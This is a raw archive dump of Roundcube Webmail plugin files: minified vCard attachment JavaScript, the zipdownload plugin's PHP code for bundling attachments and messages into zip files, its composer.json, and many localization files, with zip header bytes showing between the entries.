function plugin_vcard_import(t){var c,e;return t?rcmail.http_post("plugin.savevcard",{_uid:rcmail.env.uid,_mbox:rcmail.env.mailbox,_part:t},rcmail.set_busy(!0,"loading")):(c=[],$.each(rcmail.env.vcards,function(t,a){t=$("<input>").attr({type:"checkbox",value:t,checked:!0,class:"pretty-checkbox"}),a=$("<label>").text(" "+a);c.push($("<div>").append(a.prepend(t)))}),e=rcmail.simple_dialog(c,"vcard_attachments.addvcardmsg",function(t,a){var c=[];if(e.find("input:checked").each(function(){c.push(this.value)}),c.length)return plugin_vcard_import(c.join()),!0},{button:"import",height:4<c.length?250:100})),!1}function plugin_vcard_insertrow(t){t.row.ctype.match(/^(text\/vcard|text\/x-vcard|text\/directory)$/i)&&$(t.row.obj).find(".attachment > .attachment").addClass("vcard")}function plugin_vcard_attach(){for(var t,a=[],c=(new Date).getTime(),e={_uploadid:c,_id:rcmail.env.compose_id||null},i=rcmail.contact_list.get_selection(),n=0;n<i.length;n++)"addressbook"==rcmail.env.task?(t=i[n],a.push(rcmail.env.source+"-"+t+"-0")):(t=i[n])&&"E"!=t.charAt(0)&&rcmail.env.contactdata[t]&&a.push(t);if(!a.length)return!1;e._uri="vcard://"+a.join(","),"addressbook"==rcmail.env.task?(e._attach_vcard=1,rcmail.open_compose_step(e)):(rcmail.add2attachment_list(c,{name:"",html:rcmail.get_label("attaching"),classname:"uploading",complete:!1})||(rcmail.file_upload_id=rcmail.set_busy(!0,"attaching")),rcmail.http_post("upload",e))}window.rcmail&&rcmail.addEventListener("init",function(t){var a,c;rcmail.gui_objects.messagelist&&rcmail.addEventListener("insertrow",function(t,a){plugin_vcard_insertrow(t)}),("compose"==rcmail.env.action||"addressbook"==rcmail.env.task&&""==rcmail.env.action)&&rcmail.gui_objects.contactslist&&("compose"==rcmail.env.action&&(rcmail.env.compose_commands.push("attach-vcard"),window.UI)&&UI.recipient_selector&&(a=$("#compose-attachments > div"),c=$('<button class="btn btn-secondary attach vcard">').attr({type:"button",tabindex:$("button,input",a).first().attr("tabindex")||0}).text(rcmail.gettext("vcard_attachments.attachvcard")).appendTo(a).click(function(){UI.recipient_selector("",{title:"vcard_attachments.attachvcard",button:"vcard_attachments.attachvcard",button_class:"attach",focus:c,multiselect:!1,action:function(){rcmail.command("attach-vcard")}})})),rcmail.register_command("attach-vcard",function(){plugin_vcard_attach()}),rcmail.contact_list.addEventListener("select",function(t){t=t.get_selection();rcmail.enable_command("attach-vcard",1==t.length&&"E"!=t[0].charAt(0))}))});
PKh�\� �fi5i5#plugins/zipdownload/zipdownload.phpnu�[���<?php

/**
 * ZipDownload
 *
 * Plugin to allow the download of all message attachments in one zip file
 * and also download of many messages in one go.
 *
 * @requires php_zip extension (including ZipArchive class)
 *
 * @author Philip Weir
 * @author Thomas Bruderli
 * @author Aleksander Machniak
 */
class zipdownload extends rcube_plugin
{
    public $task = 'mail';

    private $charset       = 'ASCII';
    private $names         = [];
    private $default_limit = '50MB';

    // RFC4155: mbox date format
    const MBOX_DATE_FORMAT = 'D M d H:i:s Y';

    /**
     * Plugin initialization
     */
    public function init()
    {
        // check requirements first
        if (!class_exists('ZipArchive', false)) {
            rcmail::raise_error([
                    'code'    => 520,
                    'file'    => __FILE__,
                    'line'    => __LINE__,
                    'message' => "php-zip extension is required for the zipdownload plugin"
                ], true, false
            );
            return;
        }

        $rcmail = rcmail::get_instance();

        $this->load_config();
        $this->charset = $rcmail->config->get('zipdownload_charset', RCUBE_CHARSET);

        if ($rcmail->config->get('zipdownload_attachments', 1) > -1 && ($rcmail->action == 'show' || $rcmail->action == 'preview')) {
            $this->add_texts('localization');
            $this->add_hook('template_object_messageattachments', [$this, 'attachment_ziplink']);
        }

        $this->register_action('plugin.zipdownload.attachments', [$this, 'download_attachments']);
        $this->register_action('plugin.zipdownload.messages', [$this, 'download_messages']);

        if (!$rcmail->action && $rcmail->config->get('zipdownload_selection', $this->default_limit)) {
            $this->add_texts('localization');
            $this->download_menu();
        }
    }

    /**
     * Place a link/button after attachments listing to trigger download
     */
    public function attachment_ziplink($p)
    {
        $rcmail = rcmail::get_instance();

        // only show the link if there is more than the configured number of attachments
        if (substr_count($p['content'], '<li') > $rcmail->config->get('zipdownload_attachments', 1)) {
            $href = $rcmail->url([
                    '_action' => 'plugin.zipdownload.attachments',
                    '_mbox'   => $rcmail->output->get_env('mailbox'),
                    '_uid'    => $rcmail->output->get_env('uid'),
                ],
                false, false, true
            );

            // append the link to the attachments list
            $p['content'] .= html::a(
                ['href' => $href, 'class' => 'button zipdownload'],
                rcube::Q($this->gettext('downloadall'))
            );

            $this->include_stylesheet($this->local_skin_path() . '/zipdownload.css');
        }

        return $p;
    }

    /**
     * Adds download options menu to the page
     */
    public function download_menu()
    {
        $this->include_script('zipdownload.js');
        $this->add_label('download');

        $rcmail  = rcmail::get_instance();
        $menu    = [];
        $ul_attr = [
            'role' => 'menu',
            'aria-labelledby' => 'aria-label-zipdownloadmenu',
            'class' => 'toolbarmenu menu',
        ];

        foreach (['eml', 'mbox', 'maildir'] as $type) {
            $menu[] = html::tag('li', null, $rcmail->output->button([
                    'command'  => "download-$type",
                    'label'    => "zipdownload.download$type",
                    'class'    => "download $type disabled",
                    'classact' => "download $type active",
                    'type'     => 'link',
                ])
            );
        }

        $rcmail->output->add_footer(
            html::div(['id' => 'zipdownload-menu', 'class' => 'popupmenu', 'aria-hidden' => 'true'],
                html::tag('h2', ['class' => 'voice', 'id' => 'aria-label-zipdownloadmenu'], "Message Download Options Menu")
                . html::tag('ul', $ul_attr, implode('', $menu))
            )
        );
    }

    /**
     * Handler for attachment download action
     */
    public function download_attachments()
    {
        $rcmail = rcmail::get_instance();

        // require CSRF protected request
        $rcmail->request_security_check(rcube_utils::INPUT_GET);

        $tmpfname  = rcube_utils::temp_filename('zipdownload');
        $tempfiles = [$tmpfname];
        $message   = new rcube_message(rcube_utils::get_input_string('_uid', rcube_utils::INPUT_GET));

        // open zip file
        $zip = new ZipArchive();
        $zip->open($tmpfname, ZIPARCHIVE::OVERWRITE);

        foreach ($message->attachments as $part) {
            $pid       = $part->mime_id;
            $part      = $message->mime_parts[$pid];
            $disp_name = $this->_create_displayname($part);

            $tmpfn       = rcube_utils::temp_filename('zipattach');
            $tmpfp       = fopen($tmpfn, 'w');
            $tempfiles[] = $tmpfn;

            $message->get_part_body($part->mime_id, false, 0, $tmpfp);
            $zip->addFile($tmpfn, $disp_name);
            fclose($tmpfp);
        }

        $zip->close();

        $filename = ($this->_filename_from_subject($message->subject) ?: 'attachments') . '.zip';

        $this->_deliver_zipfile($tmpfname, $filename);

        // delete temporary files from disk
        foreach ($tempfiles as $tmpfn) {
            unlink($tmpfn);
        }

        exit;
    }

    /**
     * Handler for message download action
     */
    public function download_messages()
    {
        $rcmail = rcmail::get_instance();

        if ($rcmail->config->get('zipdownload_selection', $this->default_limit)) {
            $messageset = rcmail::get_uids(null, null, $multi, rcube_utils::INPUT_POST);
            if (count($messageset)) {
                $this->_download_messages($messageset);
            }
        }
    }

    /**
     * Create and get display name of attachment part to add on zip file
     *
     * @param rcube_message_part $part Part of attachment on message
     *
     * @return string Display name of attachment part
     */
    private function _create_displayname($part)
    {
        $rcmail   = rcmail::get_instance();
        $filename = $part->filename;

        if ($filename === null || $filename === '') {
            $ext      = array_first((array) rcube_mime::get_mime_extensions($part->mimetype));
            $filename = $rcmail->gettext('messagepart') . ' ' . $part->mime_id;
            if ($ext) {
                $filename .= '.' . $ext;
            }
        }

        $displayname = $this->_convert_filename($filename);

        /**
         * Adding a number before dot of extension on a name of file with same name on zip
         * Ext: attach(1).txt on attach filename that has a attach.txt filename on same zip
         */
        if (isset($this->names[$displayname])) {
            list($filename, $ext) = preg_split("/\.(?=[^\.]*$)/", $displayname);
            $displayname = $filename . '(' . ($this->names[$displayname]++) . ').' . $ext;
            $this->names[$displayname] = 1;
        }
        else {
            $this->names[$displayname] = 1;
        }

        return $displayname;
    }

    /**
     * Helper method to packs all the given messages into a zip archive
     *
     * @param array $messageset List of message UIDs to download
     */
    private function _download_messages($messageset)
    {
        $this->add_texts('localization');

        $rcmail    = rcmail::get_instance();
        $imap      = $rcmail->get_storage();
        $mode      = rcube_utils::get_input_string('_mode', rcube_utils::INPUT_POST);
        $limit     = $rcmail->config->get('zipdownload_selection', $this->default_limit);
        $limit     = $limit !== true ? parse_bytes($limit) : -1;
        $delimiter = $imap->get_hierarchy_delimiter();
        $tmpfname  = rcube_utils::temp_filename('zipdownload');
        $tempfiles = [$tmpfname];
        $folders   = count($messageset) > 1;
        $timezone  = new DateTimeZone('UTC');
        $messages  = [];
        $size      = 0;

        // collect messages metadata (and check size limit)
        foreach ($messageset as $mbox => $uids) {
            $imap->set_folder($mbox);

            if ($uids === '*') {
                $index = $imap->index($mbox, null, null, true);
                $uids  = $index->get();
            }

            foreach ($uids as $uid) {
                $headers = $imap->get_message_headers($uid);

                if ($mode == 'mbox') {
                    // Sender address
                    $from = rcube_mime::decode_address_list($headers->from, null, true, $headers->charset, true);
                    $from = array_shift($from);
                    $from = preg_replace('/\s/', '-', $from);

                    // Received (internal) date
                    $date = rcube_utils::anytodatetime($headers->internaldate, $timezone);
                    if ($date) {
                        $date = $date->format(self::MBOX_DATE_FORMAT);
                    }

                    // Mbox format header (RFC4155)
                    $header = sprintf("From %s %s\r\n",
                        $from ?: 'MAILER-DAEMON',
                        $date ?: ''
                    );

                    $messages[$uid . ':' . $mbox] = $header;
                }
                else { // maildir
                    $subject = rcube_mime::decode_header($headers->subject, $headers->charset);
                    $subject = $this->_filename_from_subject(mb_substr($subject, 0, 16));
                    $subject = $this->_convert_filename($subject);

                    $path      = $folders ? str_replace($delimiter, '/', $mbox) . '/' : '';
                    $disp_name = $path . $uid . ($subject ? " $subject" : '') . '.eml';

                    $messages[$uid . ':' . $mbox] = $disp_name;
                }

                $size += $headers->size;

                if ($limit > 0 && $size > $limit) {
                    unlink($tmpfname);

                    $msg = $this->gettext([
                            'name' => 'sizelimiterror',
                            'vars' => ['$size' => rcmail_action::show_bytes($limit)]
                    ]);

                    $rcmail->output->show_message($msg, 'error');
                    $rcmail->output->send('iframe');
                    exit;
                }
            }
        }

        if ($mode == 'mbox') {
            $tmpfp = fopen($tmpfname . '.mbox', 'w');
            if (!$tmpfp) {
                exit;
            }
        }

        // open zip file
        $zip = new ZipArchive();
        $zip->open($tmpfname, ZIPARCHIVE::OVERWRITE);

        foreach ($messages as $key => $value) {
            list($uid, $mbox) = explode(':', $key, 2);
            $imap->set_folder($mbox);

            if (!empty($tmpfp)) {
                fwrite($tmpfp, $value);

                // Use stream filter to quote "From " in the message body
                stream_filter_register('mbox_filter', 'zipdownload_mbox_filter');
                $filter = stream_filter_append($tmpfp, 'mbox_filter');
                $imap->get_raw_body($uid, $tmpfp);
                stream_filter_remove($filter);
                fwrite($tmpfp, "\r\n");
            }
            else { // maildir
                $tmpfn = rcube_utils::temp_filename('zipmessage');
                $fp = fopen($tmpfn, 'w');
                $imap->get_raw_body($uid, $fp);
                $tempfiles[] = $tmpfn;
                fclose($fp);
                $zip->addFile($tmpfn, $value);
            }
        }

        $filename = $folders ? 'messages' : $imap->get_folder();

        if (!empty($tmpfp)) {
            $tempfiles[] = $tmpfname . '.mbox';
            fclose($tmpfp);
            $zip->addFile($tmpfname . '.mbox', $filename . '.mbox');
        }

        $zip->close();

        $this->_deliver_zipfile($tmpfname, $filename . '.zip');

        // delete temporary files from disk
        foreach ($tempfiles as $tmpfn) {
            unlink($tmpfn);
        }

        exit;
    }

    /**
     * Helper method to send the zip archive to the browser
     */
    private function _deliver_zipfile($tmpfname, $filename)
    {
        $rcmail = rcmail::get_instance();

        $rcmail->output->download_headers($filename, ['length' => filesize($tmpfname)]);

        readfile($tmpfname);
    }

    /**
     * Helper function to convert filenames to the configured charset
     */
    private function _convert_filename($str)
    {
        $str = strtr($str, [':' => '', '/' => '-']);

        return rcube_charset::convert($str, RCUBE_CHARSET, $this->charset);
    }

    /**
     * Helper function to convert message subject into filename
     */
    private function _filename_from_subject($str)
    {
        $str = preg_replace('/[\t\n\r\0\x0B]+\s*/', ' ', $str);

        return trim($str, " ./_");
    }
}

class zipdownload_mbox_filter extends php_user_filter
{
    #[ReturnTypeWillChange]
    public function filter($in, $out, &$consumed, $closing)
    {
        while ($bucket = stream_bucket_make_writeable($in)) {
            // messages are read line by line
            if (preg_match('/^>*From /', $bucket->data)) {
                $bucket->data     = '>' . $bucket->data;
                $bucket->datalen += 1;
            }

            $consumed += $bucket->datalen;
            stream_bucket_append($out, $bucket);
        }

        return PSFS_PASS_ON;
    }
}
PKh�\�9^z��!plugins/zipdownload/composer.jsonnu�[���{
    "name": "roundcube/zipdownload",
    "type": "roundcube-plugin",
    "description": "Adds an option to download all attachments to a message in one zip file, when a message has multiple attachments. Also allows the download of a selection of messages in one zip file. Supports mbox and maildir format.",
    "license": "GPL-3.0-or-later",
    "version": "3.4",
    "authors": [
        {
            "name": "Thomas Bruederli",
            "email": "roundcube@gmail.com",
            "role": "Lead"
        },
        {
            "name": "Aleksander Machniak",
            "email": "alec@alec.pl",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3",
        "ext-zip": "*"
    }
}
PKh�\�]�wOO*plugins/zipdownload/localization/zh_CN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = '下载全部附件';
$labels['download'] = '下载...';
$labels['downloadmbox'] = 'Mbox 格式 (.zip)';
$labels['downloadmaildir'] = 'Maildir 格式 (.zip)';
$labels['downloademl'] = '源代码 (.eml)';
$labels['sizelimiterror'] = '选中消息的总大小超过了限制 ($size)';
PKh�\N��@@*plugins/zipdownload/localization/be_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Спампаваць усе далучэнні';
$labels['download'] = 'Сцягнуць...';
$labels['downloadmbox'] = 'Фармат mbox (.zip)';
$labels['downloadmaildir'] = 'Фармат maildir (.zip)';
$labels['downloademl'] = 'Выточны файл (.eml)';
PKh�\� �r��*plugins/zipdownload/localization/bg_BG.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Изтегляне на всички прикачени файлове';
$labels['download'] = 'Изтегляне...';
$labels['downloadmbox'] = 'Mbox формат (.zip)';
$labels['downloadmaildir'] = 'Maildir формат (.zip)';
$labels['downloademl'] = 'Изходен код (.eml)';
$labels['sizelimiterror'] = 'Общият размер на избраните писма надхвърля лимита от ($size)';
PKh�\MnM^^*plugins/zipdownload/localization/en_US.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Download all attachments';
$labels['download'] = 'Download...';
$labels['downloadmbox'] = 'Mbox format (.zip)';
$labels['downloadmaildir'] = 'Maildir format (.zip)';
$labels['downloademl'] = 'Source (.eml)';
$labels['sizelimiterror'] = 'Total size of selected messages exceeds the limit ($size)';
PKh�\��[[*plugins/zipdownload/localization/fi_FI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Lataa kaikki liitteet';
$labels['download'] = 'Lataa...';
$labels['downloadmbox'] = 'Mbox-muoto (.zip)';
$labels['downloadmaildir'] = 'Maildir-muoto (.zip)';
$labels['downloademl'] = 'Lähde (.eml)';
$labels['sizelimiterror'] = 'Valitsemiesi viestien yhteiskoko ylittää rajoituksen ($size)';
PKh�\iB�Knn*plugins/zipdownload/localization/nb_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Last ned alle vedlegg';
$labels['download'] = 'Nedlaste...';
$labels['downloadmbox'] = 'Mbox format (.zip)';
$labels['downloadmaildir'] = 'Maildir format (.zip)';
$labels['downloademl'] = 'Kildekode (.eml)';
$labels['sizelimiterror'] = 'Den totale størrelsen av de markerte meldingene overgår grensen ($size)';
PKh�\�iu~~*plugins/zipdownload/localization/sq_AL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Shkarkoji krejt bashkëngjitjet';
$labels['download'] = 'Shkarkoni…';
$labels['downloadmbox'] = 'Në format Mbox (.zip)';
$labels['downloadmaildir'] = 'Në format Maildir (.zip)';
$labels['downloademl'] = 'Burim (.eml)';
$labels['sizelimiterror'] = 'Madhësia gjithsej e mesazheve të përzgjedhur e tejkalon kufirin ($size)';
PKh�\�A�*plugins/zipdownload/localization/et_EE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Laadi alla kõik manused';
$labels['download'] = 'lae arvutisse';
$labels['downloadmbox'] = 'Mbox vorming (.zip)';
$labels['downloadmaildir'] = 'Maildir vorming (.zip)';
$labels['downloademl'] = 'Lähtetekst (.eml)';
PKh�\�u$��*plugins/zipdownload/localization/ku_IQ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'داگرتنی هەموو هاوپێچەکان';
$labels['download'] = 'داگرتن...';
$labels['downloadmbox'] = 'Mbox format (.zip)';
$labels['downloadmaildir'] = 'Maildir format (.zip)';
$labels['downloademl'] = 'Source (.eml)';
$labels['sizelimiterror'] = 'کۆی قەبارەی پەیامە هەڵبژێردراوەکان لە سنوورەکە تێپەڕیووە ($size)';
PKh�\�%��gg*plugins/zipdownload/localization/eu_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Deskargatu eranskin guztiak';
$labels['download'] = 'Deskargatu...';
$labels['downloadmbox'] = 'Mbox formatua (.zip)';
$labels['downloadmaildir'] = 'Maildir formatua (.zip)';
$labels['downloademl'] = 'Iturburua (.eml)';
$labels['sizelimiterror'] = 'Hautatutako  mezuen tamainak muga ($size) gainditu du.';
PKh�\oנ2nn*plugins/zipdownload/localization/tr_TR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Tüm ek dosyaları indir';
$labels['download'] = 'İndir...';
$labels['downloadmbox'] = 'Mbox biçimi (.zip)';
$labels['downloadmaildir'] = 'Maildir biçimi (.zip)';
$labels['downloademl'] = 'Kaynak (.eml)';
$labels['sizelimiterror'] = 'Seçilmiş iletilerin toplam boyutu belirtilen sınırı aşıyor ($size)';
PKh�\»�hh*plugins/zipdownload/localization/es_AR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Descargar Todo';
$labels['download'] = 'Descargar...';
$labels['downloadmbox'] = 'Formato Mbox (.zip)';
$labels['downloadmaildir'] = 'Formato Maildir (.zip)';
$labels['downloademl'] = 'Original (.eml)';
$labels['sizelimiterror'] = 'El tamaño total de los mensajes seleccionados supera el límite ($size)';
PKh�\���'plugins/zipdownload/localization/ku.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Hemû pêvekan daxîne';
$labels['download'] = 'Daxîne...';
$labels['downloadmbox'] = 'Mbox format (.zip)';
$labels['downloadmaildir'] = 'Maildir format (.zip)';
$labels['downloademl'] = 'Çavkanî (.eml)';
PKh�\���bb*plugins/zipdownload/localization/pt_BR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Baixar todos os anexos';
$labels['download'] = 'Baixar...';
$labels['downloadmbox'] = 'Formato mbox (.zip)';
$labels['downloadmaildir'] = 'Formato maildir (.zip)';
$labels['downloademl'] = 'Fonte (.eml)';
$labels['sizelimiterror'] = 'Tamanho total das mensagens selecionadas excede o limite ($size)';
PKh�\R���zz*plugins/zipdownload/localization/lv_LV.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Lejupielādēt visus pielikumus';
$labels['download'] = 'Lejupielādē...';
$labels['downloadmbox'] = 'Mbox formāts(.zip)';
$labels['downloadmaildir'] = 'Maildir formāts (.zip)';
$labels['downloademl'] = 'Izejas avots (.eml)';
$labels['sizelimiterror'] = 'Kopējais atzīmēto ziņojumu lielums pārsniedz limitu ($size)';
PKh�\=��gg*plugins/zipdownload/localization/sk_SK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Stiahnuť všetky prílohy';
$labels['download'] = 'Stiahnuť...';
$labels['downloadmbox'] = 'Formát Mbox (.zip)';
$labels['downloadmaildir'] = 'Formát Maildir (.zip)';
$labels['downloademl'] = 'Zdroj (.eml)';
$labels['sizelimiterror'] = 'Celková veľkosť vybraných správ prekračuje limit ($size)';
PKh�\��9f__*plugins/zipdownload/localization/cs_CZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Stáhnout všechny přílohy';
$labels['download'] = 'Stáhnout...';
$labels['downloadmbox'] = 'Formát mbox (.zip)';
$labels['downloadmaildir'] = 'Formát maildir (.zip)';
$labels['downloademl'] = 'Zdroj (.eml)';
$labels['sizelimiterror'] = 'Velikost vybraných zpráv byla překročena ($size)';
PKh�\�U�AA*plugins/zipdownload/localization/uk_UA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Завантажити всі вкладення';
$labels['download'] = 'Завантаження…';
$labels['downloadmbox'] = 'Формат Mbox (.zip)';
$labels['downloadmaildir'] = 'Формат Maildir (.zip)';
$labels['downloademl'] = 'Джерело (.eml)';
PKh�\w�k�*plugins/zipdownload/localization/fy_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Alle taheaksels ynlade';
$labels['download'] = 'Ynlade...';
$labels['downloadmbox'] = 'Mbox formaat (.zip)';
$labels['downloadmaildir'] = 'Maildir formaat (.zip)';
$labels['downloademl'] = 'Boarne (.eml)';
PKh�\���ww*plugins/zipdownload/localization/de_CH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Alle Anhänge herunterladen';
$labels['download'] = 'Download...';
$labels['downloadmbox'] = 'Mbox Format (.zip)';
